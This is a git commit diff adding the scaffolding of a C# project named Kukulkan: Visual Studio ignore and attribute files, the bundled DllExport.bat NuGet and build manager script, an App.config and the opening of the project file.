Added Kukulkan

This commit is contained in:
byt3bl33d3r
2019-01-13 23:17:06 -07:00
parent f62c163a1c
commit 0fd75e4163
39 changed files with 2895 additions and 0 deletions
+63
View File
@@ -0,0 +1,63 @@
###############################################################################
# Set default behavior to automatically normalize line endings.
###############################################################################
* text=auto
###############################################################################
# Set default behavior for command prompt diff.
#
# This is need for earlier builds of msysgit that does not have it on by
# default for csharp files.
# Note: This is only used by command line
###############################################################################
#*.cs diff=csharp
###############################################################################
# Set the merge driver for project and solution files
#
# Merging from the command prompt will add diff markers to the files if there
# are conflicts (Merging from VS is not affected by the settings below, in VS
# the diff markers are never inserted). Diff markers may cause the following
# file extensions to fail to load in VS. An alternative would be to treat
# these files as binary and thus will always conflict and require user
# intervention with every merge. To do so, just uncomment the entries below
###############################################################################
#*.sln merge=binary
#*.csproj merge=binary
#*.vbproj merge=binary
#*.vcxproj merge=binary
#*.vcproj merge=binary
#*.dbproj merge=binary
#*.fsproj merge=binary
#*.lsproj merge=binary
#*.wixproj merge=binary
#*.modelproj merge=binary
#*.sqlproj merge=binary
#*.wwaproj merge=binary
###############################################################################
# behavior for image files
#
# image files are treated as binary by default.
###############################################################################
#*.jpg binary
#*.png binary
#*.gif binary
###############################################################################
# diff behavior for common document formats
#
# Convert binary document formats to text before diffing them. This feature
# is only available from the command line. Turn it on by uncommenting the
# entries below.
###############################################################################
#*.doc diff=astextplain
#*.DOC diff=astextplain
#*.docx diff=astextplain
#*.DOCX diff=astextplain
#*.dot diff=astextplain
#*.DOT diff=astextplain
#*.pdf diff=astextplain
#*.PDF diff=astextplain
#*.rtf diff=astextplain
#*.RTF diff=astextplain
+261
View File
@@ -0,0 +1,261 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Bb]in/
[Oo]bj/
[Ll]og/
# Visual Studio 2015 cache/options directory
.vs/
# Uncomment if you have tasks that create the project's static files in wwwroot
#wwwroot/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# DNX
project.lock.json
project.fragment.lock.json
artifacts/
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opendb
*.opensdf
*.sdf
*.cachefile
*.VC.db
*.VC.VC.opendb
# Visual Studio profiler
*.psess
*.vsp
*.vspx
*.sap
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
_NCrunch_*
.*crunch*.local.xml
nCrunchTemp_*
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# TODO: Comment the next line if you want to checkin your web deploy settings
# but database connection strings (with potential passwords) will be unencrypted
#*.pubxml
*.publishproj
# Microsoft Azure Web App publish settings. Comment the next line if you want to
# checkin your Azure Web App publish settings, but sensitive information contained
# in these scripts will be unencrypted
PublishScripts/
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/packages/*
# except build/, which is used as an MSBuild target.
!**/packages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/packages/repositories.config
# NuGet v3's project.json files produces more ignoreable files
*.nuget.props
*.nuget.targets
# Microsoft Azure Build Output
csx/
*.build.csdef
# Microsoft Azure Emulator
ecf/
rcf/
# Windows Store app package directories and files
AppPackages/
BundleArtifacts/
Package.StoreAssociation.xml
_pkginfo.txt
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
ClientBin/
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.jfm
*.pfx
*.publishsettings
node_modules/
orleans.codegen.cs
# Since there are multiple workflows, uncomment next line to ignore bower_components
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
#bower_components/
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
*.mdf
*.ldf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
# Microsoft Fakes
FakesAssemblies/
# GhostDoc plugin setting file
*.GhostDoc.xml
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
# Visual Studio LightSwitch build output
**/*.HTMLClient/GeneratedArtifacts
**/*.DesktopClient/GeneratedArtifacts
**/*.DesktopClient/ModelManifest.xml
**/*.Server/GeneratedArtifacts
**/*.Server/ModelManifest.xml
_Pvt_Extensions
# Paket dependency manager
.paket/paket.exe
paket-files/
# FAKE - F# Make
.fake/
# JetBrains Rider
.idea/
*.sln.iml
# CodeRush
.cr/
# Python Tools for Visual Studio (PTVS)
__pycache__/
*.pyc
+469
View File
@@ -0,0 +1,469 @@
@echo off
:: Copyright (c) 2016-2018 Denis Kuzmin [ entry.reg@gmail.com ]
:: https://github.com/3F/DllExport
if "%~1"=="/?" goto bl
set "aa=%~dpnx0"
set ab=%*
set ac=%*
if defined ab (
if defined __p_call (
set ac=%ac:^^=^%
) else (
set ab=%ab:^=^^%
)
)
set wMgrArgs=%ac%
set ad=%ab:!=^!%
setlocal enableDelayedExpansion
set "ae=^"
set "ad=!ad:%%=%%%%!"
set "ad=!ad:&=%%ae%%&!"
set "af=1.6.2"
set "wAction="
set "ag=DllExport"
set "ah=tools/net.r_eg.DllExport.Wizard.targets"
set "ai=packages"
set "aj=https://www.nuget.org/api/v2/package/"
set "ak=build_info.txt"
set "al=!aa!"
set "wRootPath=!cd!"
set "am="
set "an="
set "ao="
set "ap="
set "aq="
set "ar="
set "as="
set "at="
set "au="
set /a av=0
if not defined ab (
if defined wAction goto bm
goto bl
)
call :bn bg !ad! bh
goto bo
:bl
echo.
@echo DllExport - v1.6.2.1044 [ 9fa5bbb ]
@echo Copyright (c) 2009-2015 Robert Giesecke
@echo Copyright (c) 2016-2018 Denis Kuzmin [ entry.reg@gmail.com ] :: github.com/3F
echo.
echo Distributed under the MIT license
@echo https://github.com/3F/DllExport
echo.
echo Based on hMSBuild and includes GetNuTool core: https://github.com/3F
echo.
@echo.
@echo Usage: DllExport [args to DllExport] [args to GetNuTool core]
echo ------
echo.
echo Arguments:
echo ----------
echo -action {type} - Specified action for Wizard. Where {type}:
echo * Configure - To configure DllExport for specific projects.
echo * Update - To update pkg reference for already configured projects.
echo * Restore - To restore configured DllExport.
echo * Export - To export configured projects data.
echo * Recover - To re-configure projects via predefined/exported data.
echo * Unset - To unset all data from specified projects.
echo * Upgrade - Aggregates an Update action with additions for upgrading.
echo.
echo -sln-dir {path} - Path to directory with .sln files to be processed.
echo -sln-file {path} - Optional predefined .sln file to be processed.
echo -metalib {path} - Relative path from PkgPath to DllExport meta library.
echo -dxp-target {path} - Relative path to entrypoint wrapper of the main core.
echo -dxp-version {num} - Specific version of DllExport. Where {num}:
echo * Versions: 1.6.0 ...
echo * Keywords:
echo `actual` - Unspecified local/latest remote version;
echo ( Only if you know what you are doing )
echo.
echo -msb {path} - Full path to specific msbuild.
echo -packages {path} - A common directory for packages.
echo -server {url} - Url for searching remote packages.
echo -proxy {cfg} - To use proxy. The format: [usr[:pwd]@]host[:port]
echo -pkg-link {uri} - Direct link to package from the source via specified URI.
echo -force - Aggressive behavior, e.g. like removing pkg when updating.
echo -mgr-up - Updates this manager to version from '-dxp-version'.
echo -wz-target {path} - Relative path to entrypoint wrapper of the main wizard.
echo -pe-exp-list {module} - To list all available exports from PE32/PE32+ module.
echo -eng - Try to use english language for all build messages.
echo -GetNuTool {args} - Access to GetNuTool core. https://github.com/3F/GetNuTool
echo -debug - To show additional information.
echo -version - Displays version for which (together with) it was compiled.
echo -build-info - Displays actual build information from selected DllExport.
echo -help - Displays this help. Aliases: -help -h
echo.
echo ------
echo Flags:
echo ------
echo __p_call - To use the call-type logic when invoking %~nx0
echo.
echo --------
echo Samples:
echo --------
echo DllExport -action Configure
echo DllExport -action Restore -sln-file "Conari.sln"
echo DllExport -proxy guest:1234@10.0.2.15:7428 -action Configure
echo DllExport -action Configure -force -pkg-link http://host/v1.6.1.nupkg
echo.
echo DllExport -build-info
echo DllExport -debug -restore -sln-dir ..\
echo DllExport -mgr-up -dxp-version 1.6.1
echo DllExport -action Upgrade -dxp-version 1.6.1
echo.
echo DllExport -GetNuTool -unpack
echo DllExport -GetNuTool /p:ngpackages="Conari;regXwild"
echo DllExport -pe-exp-list bin\Debug\regXwild.dll
goto bp
:bo
set /a aw=0
:bq
set ax=!bg[%aw%]!
if [!ax!]==[-help] ( goto bl ) else if [!ax!]==[-h] ( goto bl ) else if [!ax!]==[-?] ( goto bl )
if [!ax!]==[-debug] (
set am=1
goto br
) else if [!ax!]==[-action] ( set /a "aw+=1" & call :bs bg[!aw!] v
set wAction=!v!
for %%g in (Restore, Configure, Update, Export, Recover, Unset, Upgrade, Default) do (
if "!v!"=="%%g" goto br
)
echo Unknown -action !v!
exit/B 1
) else if [!ax!]==[-sln-dir] ( set /a "aw+=1" & call :bs bg[!aw!] v
set wSlnDir=!v!
goto br
) else if [!ax!]==[-sln-file] ( set /a "aw+=1" & call :bs bg[!aw!] v
set wSlnFile=!v!
goto br
) else if [!ax!]==[-metalib] ( set /a "aw+=1" & call :bs bg[!aw!] v
set wMetaLib=!v!
goto br
) else if [!ax!]==[-dxp-target] ( set /a "aw+=1" & call :bs bg[!aw!] v
set wDxpTarget=!v!
goto br
) else if [!ax!]==[-dxp-version] ( set /a "aw+=1" & call :bs bg[!aw!] v
set af=!v!
goto br
) else if [!ax!]==[-msb] ( set /a "aw+=1" & call :bs bg[!aw!] v
set ao=!v!
goto br
) else if [!ax!]==[-packages] ( set /a "aw+=1" & call :bs bg[!aw!] v
set ai=!v!
goto br
) else if [!ax!]==[-server] ( set /a "aw+=1" & call :bs bg[!aw!] v
set aj=!v!
goto br
) else if [!ax!]==[-proxy] ( set /a "aw+=1" & call :bs bg[!aw!] v
set at=!v!
goto br
) else if [!ax!]==[-pkg-link] ( set /a "aw+=1" & call :bs bg[!aw!] v
set ap=!v!
goto br
) else if [!ax!]==[-force] (
set ar=1
goto br
) else if [!ax!]==[-mgr-up] (
set as=1
goto br
) else if [!ax!]==[-wz-target] ( set /a "aw+=1" & call :bs bg[!aw!] v
set ah=!v!
goto br
) else if [!ax!]==[-pe-exp-list] ( set /a "aw+=1" & call :bs bg[!aw!] v
set aq=!v!
goto br
) else if [!ax!]==[-eng] (
chcp 437 >nul
goto br
) else if [!ax!]==[-GetNuTool] (
call :bt "accessing to GetNuTool ..."
for /L %%p IN (0,1,8181) DO (
if "!ay:~%%p,10!"=="-GetNuTool" (
set az=!ay:~%%p!
call :bu !az:~10!
set /a av=%ERRORLEVEL%
goto bp
)
)
call :bt "!ax! is corrupted: !ay!"
set /a av=1
goto bp
) else if [!ax!]==[-version] (
@echo v1.6.2.1044 [ 9fa5bbb ]
goto bp
) else if [!ax!]==[-build-info] (
set an=1
goto br
) else if [!ax!]==[-tests] ( set /a "aw+=1" & call :bs bg[!aw!] v
set au=!v!
goto br
) else (
echo Incorrect key: !ax!
set /a av=1
goto bp
)
:br
set /a "aw+=1" & if %aw% LSS !bh! goto bq
:bm
call :bt "dxpName = " ag
call :bt "dxpVersion = " af
call :bt "-sln-dir = " wSlnDir
call :bt "-sln-file = " wSlnFile
call :bt "-metalib = " wMetaLib
call :bt "-dxp-target = " wDxpTarget
call :bt "-wz-target = " ah
if defined af (
if "!af!"=="actual" (
set "af="
)
)
if z%wAction%==zUpgrade (
call :bt "Upgrade is on"
set as=1
set ar=1
)
call :bv ai
set "ai=!ai!\\"
set "a0=!ag!"
set "wPkgPath=!ai!!ag!"
if defined af (
set "a0=!a0!/!af!"
set "wPkgPath=!wPkgPath!.!af!"
)
if defined ar (
if exist "!wPkgPath!" (
call :bt "Removing old version before continue. '-force' key rule. " wPkgPath
rmdir /S/Q "!wPkgPath!"
)
)
set a1="!wPkgPath!\\!ah!"
call :bt "wPkgPath = " wPkgPath
if not exist !a1! (
if exist "!wPkgPath!" (
call :bt "Trying to replace obsolete version ... " wPkgPath
rmdir /S/Q "!wPkgPath!"
)
call :bt "-pkg-link = " ap
call :bt "-server = " aj
if defined ap (
set aj=!ap!
if "!aj::=!"=="!aj!" (
set aj=!cd!/!aj!
)
if "!wPkgPath::=!"=="!wPkgPath!" (
set "a2=../"
)
set "a0=:!a2!!wPkgPath!|"
)
if defined ao (
set a3=-msbuild "!ao!"
)
set a4=!a3! /p:ngserver="!aj!" /p:ngpackages="!a0!" /p:ngpath="!ai!" /p:proxycfg="!at!"
call :bt "GetNuTool call: " a4
if defined am (
call :bu !a4!
) else (
call :bu !a4! >nul
)
)
if defined aq (
"!wPkgPath!\\tools\\PeViewer.exe" -list -pemodule "!aq!"
set /a av=%ERRORLEVEL%
goto bp
)
if defined an (
call :bt "buildInfo = " wPkgPath ak
if not exist "!wPkgPath!\\!ak!" (
echo information about build is not available.
set /a av=2
goto bp
)
type "!wPkgPath!\\!ak!"
goto bp
)
if not exist !a1! (
echo Something went wrong. Try to use another keys.
set /a av=2
goto bp
)
call :bt "wRootPath = " wRootPath
call :bt "wAction = " wAction
call :bt "wMgrArgs = " wMgrArgs
if defined ao (
call :bt "Use specific MSBuild tools: " ao
set a5="!ao!"
goto bw
)
call :bx bi & set a5="!bi!"
if "!ERRORLEVEL!"=="0" goto bw
echo MSBuild tools was not found. Try with `-msb` key.
set /a av=2
goto bp
:bw
if not defined a5 (
echo Something went wrong. Use `-debug` key for details.
set /a av=2
goto bp
)
if not defined au (
call :bt "Target: " a5 a1
!a5! /nologo /v:m /m:4 !a1!
)
:bp
if defined au (
echo Running Tests ... "!au!"
call :bx bj
"!bj!" /nologo /v:m /m:4 "!au!"
exit/B 0
)
if defined as (
(copy /B/Y "!wPkgPath!\\DllExport.bat" "!al!" > nul) && ( echo Manager has been updated. & exit/B !av! ) || ( echo -mgr-up failed. & exit/B %ERRORLEVEL% )
)
exit/B !av!
:bx
call :bt "Searching from .NET Framework - .NET 4.0, ..."
for %%v in (4.0, 3.5, 2.0) do (
call :by %%v Y & if defined Y (
set %1=!Y!
exit/B 0
)
)
call :bt "msb -netfx: not found"
set "%1="
exit/B 2
:by
call :bt "check %1"
for /F "usebackq tokens=2* skip=2" %%a in (
`reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%1" /v MSBuildToolsPath 2^> nul`
) do if exist %%b (
set a6=%%~b
call :bt ":msbfound " a6
call :bz a6 bk
set %2=!bk!
exit/B 0
)
set "%2="
exit/B 0
:bz
set %2=!%~1!\MSBuild.exe
exit/B 0
:bt
if defined am (
set a7=%1
set a7=!a7:~0,-1!
set a7=!a7:~1!
echo.[%TIME% ] !a7! !%2! !%3!
)
exit/B 0
:bv
call :b0 %1
call :b1 %1
exit/B 0
:b0
call :b2 %1 "-=1"
exit/B 0
:b1
call :b2 %1 "+=1"
exit/B 0
:b2
set a8=z!%1!z
if "%~2"=="-=1" (set "a9=1") else (set "a9=")
if defined a9 (
set /a "i=-2"
) else (
set /a "i=1"
)
:b3
if "!a8:~%i%,1!"==" " (
set /a "i%~2"
goto b3
)
if defined a9 set /a "i+=1"
if defined a9 (
set "%1=!a8:~1,%i%!"
) else (
set "%1=!a8:~%i%,-1!"
)
exit/B 0
:bn
set "a_=%~1"
set /a aw=-1
:b4
set /a aw+=1
set %a_%[!aw!]=%~2
shift & if not "%~3"=="" goto b4
set /a aw-=1
set %1=!aw!
exit/B 0
:bs
set %2=!%1!
exit/B 0
:bu
setlocal disableDelayedExpansion
@echo off
:: GetNuTool - Executable version
:: Copyright (c) 2015-2018 Denis Kuzmin [ entry.reg@gmail.com ]
:: https://github.com/3F/GetNuTool
set ba=gnt.core
set bb="%temp%\%random%%random%%ba%"
if "%~1"=="-unpack" goto b5
set bc=%*
if defined __p_call if defined bc set bc=%bc:^^=^%
set bd=%__p_msb%
if defined bd goto b6
if "%~1"=="-msbuild" goto b7
for %%v in (4.0, 14.0, 12.0, 3.5, 2.0) do (
for /F "usebackq tokens=2* skip=2" %%a in (
`reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSBuild\ToolsVersions\%%v" /v MSBuildToolsPath 2^> nul`
) do if exist %%b (
set bd="%%~b\MSBuild.exe"
goto b6
)
)
echo MSBuild was not found. Try -msbuild "fullpath" args 1>&2
exit/B 2
:b7
shift
set bd=%1
shift
set be=%bc:!= #__b_ECL## %
setlocal enableDelayedExpansion
set be=!be:%%=%%%%!
:b8
for /F "tokens=1* delims==" %%a in ("!be!") do (
if "%%~b"=="" (
call :b9 !be!
exit/B %ERRORLEVEL%
)
set be=%%a #__b_EQ## %%b
)
goto b8
:b9
shift & shift
set "bc="
:b_
set bc=!bc! %1
shift & if not "%~2"=="" goto b_
set bc=!bc: #__b_EQ## ==!
setlocal disableDelayedExpansion
set bc=%bc: #__b_ECL## =!%
:b6
call :ca
%bd% %bb% /nologo /p:wpath="%~dp0/" /v:m /m:4 %bc%
set "bd="
set bf=%ERRORLEVEL%
del /Q/F %bb%
exit/B %bf%
:b5
set bb="%~dp0\%ba%"
echo Generating minified version in %bb% ...
:ca
<nul set /P ="">%bb%
set a=PropertyGroup&set b=Condition&set c=ngpackages&set d=Target&set e=DependsOnTargets&set f=TaskCoreDllPath&set g=MSBuildToolsPath&set h=UsingTask&set i=CodeTaskFactory&set j=ParameterGroup&set k=Reference&set l=Include&set m=System&set n=Using&set o=Namespace&set p=IsNullOrEmpty&set q=return&set r=string&set s=delegate&set t=foreach&set u=WriteLine&set v=Combine&set w=Console.WriteLine&set x=Directory&set y=GetNuTool&set z=StringComparison&set _=EXT_NUSPEC
<nul set /P =^<!-- GetNuTool - github.com/3F/GetNuTool --^>^<!-- Copyright (c) 2015-2018 Denis Kuzmin [ entry.reg@gmail.com ] --^>^<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"^>^<%a%^>^<ngconfig %b%="'$(ngconfig)'==''"^>packages.config^</ngconfig^>^<ngserver %b%="'$(ngserver)'==''"^>https://www.nuget.org/api/v2/package/^</ngserver^>^<%c% %b%="'$(%c%)'==''"^>^</%c%^>^<ngpath %b%="'$(ngpath)'==''"^>packages^</ngpath^>^</%a%^>^<%d% Name="get" BeforeTargets="Build" %e%="header"^>^<a^>^<Output PropertyName="plist" TaskParameter="Result"/^>^</a^>^<b plist="$(plist)"/^>^</%d%^>^<%d% Name="pack" %e%="header"^>^<c/^>^</%d%^>^<%a%^>^<%f% %b%="Exists('$(%g%)\Microsoft.Build.Tasks.v$(MSBuildToolsVersion).dll')"^>$(%g%)\Microsoft.Build.Tasks.v$(MSBuildToolsVersion).dll^</%f%^>^<%f% %b%="'$(%f%)'=='' and Exists('$(%g%)\Microsoft.Build.Tasks.Core.dll')"^>$(%g%)\Microsoft.Build.Tasks.Core.dll^</%f%^>^</%a%^>^<%h% TaskName="a" TaskFactory="%i%" AssemblyFile="$(%f%)"^>^<%j%^>^<Result Output="true"/^>^</%j%^>^<Task^>^<%k% %l%="%m%.Xml"/^>^<%k% %l%="%m%.Xml.Linq"/^>^<%n% %o%="%m%"/^>^<%n% %o%="%m%.Collections.Generic"/^>^<%n% %o%="%m%.IO"/^>^<%n% %o%="%m%.Xml.Linq"/^>^<Code Type="Fragment" Language="cs"^>^<![CDATA[var a=@"$(ngconfig)";var b=@"$(%c%)";var c=@"$(wpath)";if(!String.%p%(b)){Result=b;%q% true;}var d=Console.Error;Action^<%r%,Queue^<%r%^>^>e=%s%(%r% f,Queue^<%r%^>g){%t%(var h in XDocument.Load(f).Descendants("package")){var i=h.Attribute("id");var j=h.Attribute("version");var k=h.Attribute("output");if(i==null){d.%u%("'id' does not exist in '{0}'",f);%q%;}var l=i.Value;if(j!=null){l+="/"+j.Value;}if(k!=null){g.Enqueue(l+":"+k.Value);continue;}g.Enqueue(l);}};var m=new Queue^<%r%^>();%t%(var f in a.Split(new char[]{a.IndexOf('^|')!=-1?'^|':';'},(StringSplitOptions)1)){>>%bb%
<nul set /P =var n=Path.%v%(c,f);if(File.Exists(n)){e(n,m);}else{d.%u%(".config '{0}' was not found.",n);}}if(m.Count^<1){d.%u%("Empty list. Use .config or /p:%c%=\"...\"\n");}else{Result=%r%.Join("|",m.ToArray());}]]^>^</Code^>^</Task^>^</%h%^>^<%h% TaskName="b" TaskFactory="%i%" AssemblyFile="$(%f%)"^>^<%j%^>^<plist/^>^</%j%^>^<Task^>^<%k% %l%="WindowsBase"/^>^<%n% %o%="%m%"/^>^<%n% %o%="%m%.IO"/^>^<%n% %o%="%m%.IO.Packaging"/^>^<%n% %o%="%m%.Net"/^>^<Code Type="Fragment" Language="cs"^>^<![CDATA[var a=@"$(ngserver)";var b=@"$(wpath)";var c=@"$(ngpath)";var d=@"$(proxycfg)";var e=@"$(debug)"=="true";if(plist==null){%q% false;}ServicePointManager.SecurityProtocol^|=SecurityProtocolType.Tls11^|SecurityProtocolType.Tls12;var f=new %r%[]{"/_rels/","/package/","/[Content_Types].xml"};Action^<%r%,object^>g=%s%(%r% h,object i){if(e){%w%(h,i);}};Func^<%r%,WebProxy^>j=%s%(%r% k){var l=k.Split('@');if(l.Length^<=1){%q% new WebProxy(l[0],false);}var m=l[0].Split(':');%q% new WebProxy(l[1],false){Credentials=new NetworkCredential(m[0],(m.Length^>1)?m[1]:null)};};Func^<%r%,%r%^>n=%s%(%r% i){%q% Path.%v%(b,i??"");};Action^<%r%,%r%,%r%^>o=%s%(%r% p,%r% q,%r% r){var s=Path.GetFullPath(n(r??q));if(%x%.Exists(s)){%w%("`{0}` is already exists: \"{1}\"",q,s);%q%;}Console.Write("Getting `{0}` ... ",p);var t=Path.%v%(Path.GetTempPath(),Guid.NewGuid().ToString());using(var u=new WebClient()){try{if(!String.%p%(d)){u.Proxy=j(d);}u.Headers.Add("User-Agent","%y% $(%y%)");u.UseDefaultCredentials=true;u.DownloadFile(a+p,t);}catch(Exception v){Console.Error.%u%(v.Message);%q%;}}%w%("Extracting into \"{0}\"",s);using(var w=ZipPackage.Open(t,FileMode.Open,FileAccess.Read)){%t%(var x in w.GetParts()){var y=Uri.UnescapeDataString(x.Uri.OriginalString);if(f.Any(z=^>y.StartsWith(z,%z%.Ordinal))){continue;}var _=Path.%v%(s,y.TrimStart(>>%bb%
<nul set /P ='/'));g("- `{0}`",y);var aa=Path.GetDirectoryName(_);if(!%x%.Exists(aa)){%x%.CreateDirectory(aa);}using(Stream ab=x.GetStream(FileMode.Open,FileAccess.Read))using(var ac=File.OpenWrite(_)){try{ab.CopyTo(ac);}catch(FileFormatException v){g("[x]?crc: {0}",_);}}}}File.Delete(t);};%t%(var w in plist.Split(new char[]{plist.IndexOf('^|')!=-1?'^|':';'},(StringSplitOptions)1)){var ad=w.Split(new char[]{':'},2);var p=ad[0];var r=(ad.Length^>1)?ad[1]:null;var q=p.Replace('/','.');if(!String.%p%(c)){r=Path.%v%(c,r??q);}o(p,q,r);}]]^>^</Code^>^</Task^>^</%h%^>^<%h% TaskName="c" TaskFactory="%i%" AssemblyFile="$(%f%)"^>^<Task^>^<%k% %l%="%m%.Xml"/^>^<%k% %l%="%m%.Xml.Linq"/^>^<%k% %l%="WindowsBase"/^>^<%n% %o%="%m%"/^>^<%n% %o%="%m%.Collections.Generic"/^>^<%n% %o%="%m%.IO"/^>^<%n% %o%="%m%.Linq"/^>^<%n% %o%="%m%.IO.Packaging"/^>^<%n% %o%="%m%.Xml.Linq"/^>^<%n% %o%="%m%.Text.RegularExpressions"/^>^<Code Type="Fragment" Language="cs"^>^<![CDATA[var a=@"$(ngin)";var b=@"$(ngout)";var c=@"$(wpath)";var d=@"$(debug)"=="true";var %_%=".nuspec";var EXT_NUPKG=".nupkg";var TAG_META="metadata";var DEF_CONTENT_TYPE="application/octet";var MANIFEST_URL="http://schemas.microsoft.com/packaging/2010/07/manifest";var ID="id";var VER="version";Action^<%r%,object^>e=%s%(%r% f,object g){if(d){%w%(f,g);}};var h=Console.Error;a=Path.%v%(c,a);if(!%x%.Exists(a)){h.%u%("`{0}` was not found.",a);%q% false;}b=Path.%v%(c,b);var i=%x%.GetFiles(a,"*"+%_%,SearchOption.TopDirectoryOnly).FirstOrDefault();if(i==null){h.%u%("{0} was not found in `{1}`",%_%,a);%q% false;}%w%("Found {0}: `{1}`",%_%,i);var j=XDocument.Load(i).Root.Elements().FirstOrDefault(k=^>k.Name.LocalName==TAG_META);if(j==null){h.%u%("{0} does not contain {1}.",i,TAG_META);%q% false;}var l=new Dictionary^<%r%,%r%^>();%t%(var m in j.Elements()){l[m.Name.LocalName.ToL>>%bb%
<nul set /P =ower()]=m.Value;}if(l[ID].Length^>100^|^|!Regex.IsMatch(l[ID],@"^\w+([_.-]\w+)*$",RegexOptions.IgnoreCase^|RegexOptions.ExplicitCapture)){h.%u%("The format of `{0}` is not correct.",ID);%q% false;}var n=new %r%[]{Path.%v%(a,"_rels"),Path.%v%(a,"package"),Path.%v%(a,"[Content_Types].xml")};var o=%r%.Format("{0}.{1}{2}",l[ID],l[VER],EXT_NUPKG);if(!String.IsNullOrWhiteSpace(b)){if(!%x%.Exists(b)){%x%.CreateDirectory(b);}o=Path.%v%(b,o);}%w%("Started packing `{0}` ...",o);using(var p=Package.Open(o,FileMode.Create)){Uri q=new Uri(String.Format("/{0}{1}",l[ID],%_%),UriKind.Relative);p.CreateRelationship(q,TargetMode.Internal,MANIFEST_URL);%t%(var r in %x%.GetFiles(a,"*.*",SearchOption.AllDirectories)){if(n.Any(k=^>r.StartsWith(k,%z%.Ordinal))){continue;}%r% s;if(r.StartsWith(a,%z%.OrdinalIgnoreCase)){s=r.Substring(a.Length).TrimStart(Path.DirectorySeparatorChar);}else{s=r;}e("- `{0}`",s);var t=%r%.Join("/",s.Split('\\','/').Select(g=^>Uri.EscapeDataString(g)));Uri u=PackUriHelper.CreatePartUri(new Uri(t,UriKind.Relative));var v=p.CreatePart(u,DEF_CONTENT_TYPE,CompressionOption.Maximum);using(Stream w=v.GetStream())using(var x=new FileStream(r,FileMode.Open,FileAccess.Read)){x.CopyTo(w);}}Func^<%r%,%r%^>y=%s%(%r% z){%q%(l.ContainsKey(z))?l[z]:"";};var _=p.PackageProperties;_.Creator=y("authors");_.Description=y("description");_.Identifier=l[ID];_.Version=l[VER];_.Keywords=y("tags");_.Title=y("title");_.LastModifiedBy="%y% $(%y%)";}]]^>^</Code^>^</Task^>^</%h%^>^<%d% Name="Build" %e%="get"/^>^<%a%^>^<%y%^>1.7.0.15022_4bc1dfb^</%y%^>^<wpath %b%="'$(wpath)'==''"^>$(MSBuildProjectDirectory)^</wpath^>^</%a%^>^<%d% Name="header"^>^<Message Text="%%0D%%0A%y% $(%y%) - github.com/3F%%0D%%0A=========%%0D%%0A" Importance="high"/^>^</%d%^>^</Project^>>>%bb%
exit/B 0
+1
View File
@@ -0,0 +1 @@
DllExport -action Configure %*
+6
View File
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5" />
</startup>
</configuration>
+83
View File
@@ -0,0 +1,83 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{CF38FD41-395F-422F-BDF8-8621A1469B9A}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>Kukulkan</RootNamespace>
<AssemblyName>Kukulkan</AssemblyName>
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
